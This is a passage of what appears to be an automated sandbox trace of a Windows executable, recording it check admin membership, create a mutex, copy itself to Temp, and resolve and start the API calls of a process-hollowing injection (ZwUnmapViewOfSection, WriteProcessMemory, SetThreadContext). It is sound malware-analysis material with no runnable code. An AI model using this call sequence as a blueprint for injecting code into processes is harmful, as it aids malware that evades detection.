TokenInformationLength=0x0, ReturnLength=0x3ee494 | out: TokenInformation=0x0, ReturnLength=0x3ee494) returned 0 [0248.869] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x8a9be8 [0248.870] GetTokenInformation (in: TokenHandle=0x498, TokenInformationClass=0x8, TokenInformation=0x8a9be8, TokenInformationLength=0x4, ReturnLength=0x3ee494 | out: TokenInformation=0x8a9be8, ReturnLength=0x3ee494) returned 1 [0248.870] LocalFree (hMem=0x8a9be8) returned 0x0 [0248.870] DuplicateTokenEx (in: hExistingToken=0x498, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x3ee49c | out: phNewToken=0x3ee49c*=0x3b8) returned 1 [0248.870] CheckTokenMembership (in: TokenHandle=0x3b8, SidToCheck=0x229b284*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x3ee4ac | out: IsMember=0x3ee4ac) returned 1 [0248.870] CloseHandle (hObject=0x3b8) returned 1 [0251.216] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Thcyqfmzh") returned 0x3b8 [0251.617] CoTaskMemAlloc (cb=0x20c) returned 0x865ced0 [0251.617] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x865ced0 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0251.617] CoTaskMemFree (pv=0x865ced0) [0251.617] GetLongPathNameW (in: lpszShortPath="C:\\Users\\KEECFM~1\\", lpszLongPath=0x3edfd4, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\") returned 0x13 [0251.619] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x3edfe8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x26 [0251.619] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\Itself.exe", nBufferLength=0x105, lpBuffer=0x3edfd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\Itself.exe", lpFilePart=0x0) returned 0x30 [0251.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x3edf60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0251.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Itself.exe", nBufferLength=0x105, lpBuffer=0x3edfd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Itself.exe", lpFilePart=0x0) returned 0x38 [0251.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ee250) returned 1 [0251.619] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Itself.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\itself.exe"), fInfoLevelId=0x0, lpFileInformation=0x229bc08 | out: lpFileInformation=0x229bc08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0251.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ee24c) returned 1 [0251.620] GetCurrentProcessId () returned 0xed0 [0251.621] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xed0) returned 0x360 [0251.621] EnumProcessModules (in: hProcess=0x360, lphModule=0x229bfe8, cb=0x100, lpcbNeeded=0x3ee4c8 | out: lphModule=0x229bfe8, lpcbNeeded=0x3ee4c8) returned 1 [0251.623] EnumProcessModules (in: hProcess=0x360, lphModule=0x229c0f4, cb=0x200, lpcbNeeded=0x3ee4c8 | out: lphModule=0x229c0f4, lpcbNeeded=0x3ee4c8) returned 1 [0251.625] GetModuleInformation (in: hProcess=0x360, hModule=0x1a0000, lpmodinfo=0x229c334, cb=0xc | out: lpmodinfo=0x229c334*(lpBaseOfDll=0x1a0000, SizeOfImage=0x66000, EntryPoint=0x1a611e)) returned 1 [0251.625] CoTaskMemAlloc (cb=0x804) returned 0x865d2b8 [0251.625] GetModuleBaseNameW (in: hProcess=0x360, hModule=0x1a0000, lpBaseName=0x865d2b8, nSize=0x800 | out: lpBaseName="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned 0x44 [0251.625] CoTaskMemFree (pv=0x865d2b8) [0251.625] CoTaskMemAlloc (cb=0x804) returned 0x865d2b8 [0251.625] GetModuleFileNameExW (in: hProcess=0x360, hModule=0x1a0000, lpFilename=0x865d2b8, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x5f [0251.626] CoTaskMemFree (pv=0x865d2b8) [0251.626] CloseHandle (hObject=0x360) returned 1 [0251.626] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", nBufferLength=0x105, lpBuffer=0x3edfd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpFilePart=0x0) returned 0x5f [0251.626] CoTaskMemAlloc (cb=0x20c) returned 0x865ced0 [0251.626] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x865ced0 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0251.627] CoTaskMemFree (pv=0x865ced0) [0251.627] GetLongPathNameW (in: lpszShortPath="C:\\Users\\KEECFM~1\\", lpszLongPath=0x3edfd4, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\") returned 0x13 [0251.627] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x3edfe8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x26 [0251.627] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", nBufferLength=0x105, lpBuffer=0x3edfd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpFilePart=0x0) returned 0x6a [0251.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ee250) returned 1 [0251.627] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe"), fInfoLevelId=0x0, lpFileInformation=0x229ecc8 | out: lpFileInformation=0x229ecc8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0251.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ee24c) returned 1 [0251.637] CopyFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe"), bFailIfExists=1) returned 1 [0252.032] CoTaskMemAlloc (cb=0xd) returned 0x8a8320 [0252.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x229f190, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0252.032] LoadLibraryA (lpLibFileName="kernel32") returned 0x75d40000 [0252.033] CoTaskMemFree (pv=0x8a8320) [0252.039] CoTaskMemAlloc (cb=0x11) returned 0x864b088 [0252.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResumeThread", cchWideChar=12, lpMultiByteStr=0x229f1c8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResumeThread", lpUsedDefaultChar=0x0) returned 12 [0252.039] GetProcAddress (hModule=0x75d40000, lpProcName="ResumeThread") returned 0x75d543a7 [0252.039] CoTaskMemFree (pv=0x864b088) [0252.047] CoTaskMemAlloc (cb=0xd) returned 0x8a8260 [0252.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x229f454, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0252.047] LoadLibraryA (lpLibFileName="kernel32") returned 0x75d40000 [0252.047] CoTaskMemFree (pv=0x8a8260) [0252.047] CoTaskMemAlloc (cb=0x1a) returned 0x860ac20 [0252.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wow64SetThreadContext", cchWideChar=21, lpMultiByteStr=0x229f48c, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wow64SetThreadContext", lpUsedDefaultChar=0x0) returned 21 [0252.048] GetProcAddress (hModule=0x75d40000, lpProcName="Wow64SetThreadContext") returned 0x75dd5933 [0252.048] CoTaskMemFree (pv=0x860ac20) [0252.059] CoTaskMemAlloc (cb=0xd) returned 0x8a8320 [0252.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x229f708, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0252.059] LoadLibraryA (lpLibFileName="kernel32") returned 0x75d40000 [0252.059] CoTaskMemFree (pv=0x8a8320) [0252.059] CoTaskMemAlloc (cb=0x15) returned 0x864b088 [0252.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetThreadContext", cchWideChar=16, lpMultiByteStr=0x229f740, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetThreadContext", lpUsedDefaultChar=0x0) returned 16 [0252.060] GetProcAddress (hModule=0x75d40000, lpProcName="SetThreadContext") returned 0x75dd5933 [0252.060] CoTaskMemFree (pv=0x864b088) [0252.062] CoTaskMemAlloc (cb=0xd) returned 0x8a8320 [0252.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x229f9b0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0252.062] LoadLibraryA (lpLibFileName="kernel32") returned 0x75d40000 [0252.062] CoTaskMemFree (pv=0x8a8320) [0252.062] CoTaskMemAlloc (cb=0x15) returned 0x864b4c8 [0252.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetThreadContext", cchWideChar=16, lpMultiByteStr=0x229f9e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetThreadContext", lpUsedDefaultChar=0x0) returned 16 [0252.063] GetProcAddress (hModule=0x75d40000, lpProcName="GetThreadContext") returned 0x75d7799c [0252.063] CoTaskMemFree (pv=0x864b4c8) [0252.064] CoTaskMemAlloc (cb=0xd) returned 0x8a8320 [0252.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x229fc38, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0252.065] LoadLibraryA (lpLibFileName="kernel32") returned 0x75d40000 [0252.065] CoTaskMemFree (pv=0x8a8320) [0252.065] CoTaskMemAlloc (cb=0x13) returned 0x864b088 [0252.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VirtualAllocEx", cchWideChar=14, lpMultiByteStr=0x229fc70, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VirtualAllocEx", lpUsedDefaultChar=0x0) returned 14 [0252.065] GetProcAddress (hModule=0x75d40000, lpProcName="VirtualAllocEx") returned 0x75d6d980 [0252.065] CoTaskMemFree (pv=0x864b088) [0252.129] CoTaskMemAlloc (cb=0xd) returned 0x8a8260 [0252.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x229fee0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0252.130] LoadLibraryA (lpLibFileName="kernel32") returned 0x75d40000 [0252.130] CoTaskMemFree (pv=0x8a8260) [0252.130] CoTaskMemAlloc (cb=0x17) returned 0x864b4c8 [0252.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WriteProcessMemory", cchWideChar=18, lpMultiByteStr=0x229ff18, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WriteProcessMemory", lpUsedDefaultChar=0x0) returned 18 [0252.130] GetProcAddress (hModule=0x75d40000, lpProcName="WriteProcessMemory") returned 0x75d6d9b0 [0252.130] CoTaskMemFree (pv=0x864b4c8) [0252.138] CoTaskMemAlloc (cb=0xa) returned 0x8a8320 [0252.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ntdll", cchWideChar=5, lpMultiByteStr=0x22a01b0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ntdll", lpUsedDefaultChar=0x0) returned 5 [0252.138] LoadLibraryA (lpLibFileName="ntdll") returned 0x77040000 [0252.139] CoTaskMemFree (pv=0x8a8320) [0252.139] CoTaskMemAlloc (cb=0x19) returned 0x860ac20 [0252.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ZwUnmapViewOfSection", cchWideChar=20, lpMultiByteStr=0x22a01dc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ZwUnmapViewOfSection", lpUsedDefaultChar=0x0) returned 20 [0252.139] GetProcAddress (hModule=0x77040000, lpProcName="ZwUnmapViewOfSection") returned 0x7705fc70 [0252.139] CoTaskMemFree (pv=0x860ac20) [0252.144] CoTaskMemAlloc (cb=0xd) returned 0x8a8320 [0252.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x22a0438, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0252.144] LoadLibraryA (lpLibFileName="kernel32") returned 0x75d40000 [0252.144] CoTaskMemFree (pv=0x8a8320) [0252.144] CoTaskMemAlloc (cb=0x13) returned 0x864b4c8 [0252.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateProcessA", cchWideChar=14, lpMultiByteStr=0x22a0470, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateProcessA", lpUsedDefaultChar=0x0) returned 14 [0252.144] GetProcAddress (hModule=0x75d40000, lpProcName="CreateProcessA") returned 0x75d51072 [0252.144] CoTaskMemFree (pv=0x864b4c8) [0252.217] CoTaskMemAlloc (cb=0xd) returned 0x8a8320 [0252.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x22a0688, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0252.217] LoadLibraryA (lpLibFileName="kernel32") returned 0x75d40000 [0252.218] CoTaskMemFree (pv=0x8a8320) [0252.218] CoTaskMemAlloc (cb=0x10) returned 0x8a8320 [0252.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=11, lpMultiByteStr=0x22a06c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 11 [0252.218] GetProcAddress (hModule=0x75d40000, lpProcName="CloseHandle") returned 0x75d513f0 [0252.218] CoTaskMemFree (pv=0x8a8320) [0252.222] CoTaskMemAlloc (cb=0xd) returned 0x8a8320 [0252.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32", cchWideChar=8, lpMultiByteStr=0x22a0920, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32", lpUsedDefaultChar=0x0) returned 8 [0252.222] LoadLibraryA (lpLibFileName="kernel32") returned 0x75d40000 [0252.222] CoTaskMemFree (pv=0x8a8320) [0252.222] CoTaskMemAlloc (cb=0x16) returned 0x864b4c8 [0252.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ReadProcessMemory", cchWideChar=17, lpMultiByteStr=0x22a0958, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadProcessMemory", lpUsedDefaultChar=0x0) returned 17 [0252.223] GetProcAddress (hModule=0x75d40000, lpProcName="ReadProcessMemory") returned 0x75d6cfa4 [0252.223] CoTaskMemFree (pv=0x864b4c8) [0252.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", cchWideChar=106, lpMultiByteStr=0x3ee2d0, cbMultiByte=108, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpUsedDefaultChar=0x0) returned 106 [0252.719] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000004, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x3ee370*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3ee4f0 | out: lpCommandLine="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpProcessInformation=0x3ee4f0*(hProcess=0x360, hThread=0x6c8, dwProcessId=0xe88, dwThreadId=0xe44)) returned 1 [0252.798] CoTaskMemFree (pv=0x0) [0252.798] CoTaskMemFree (pv=0x0) [0252.800] GetThreadContext (in: hThread=0x6c8, lpContext=0x2173bb8 | out: lpContext=0x2173bb8*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x2b611e, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, 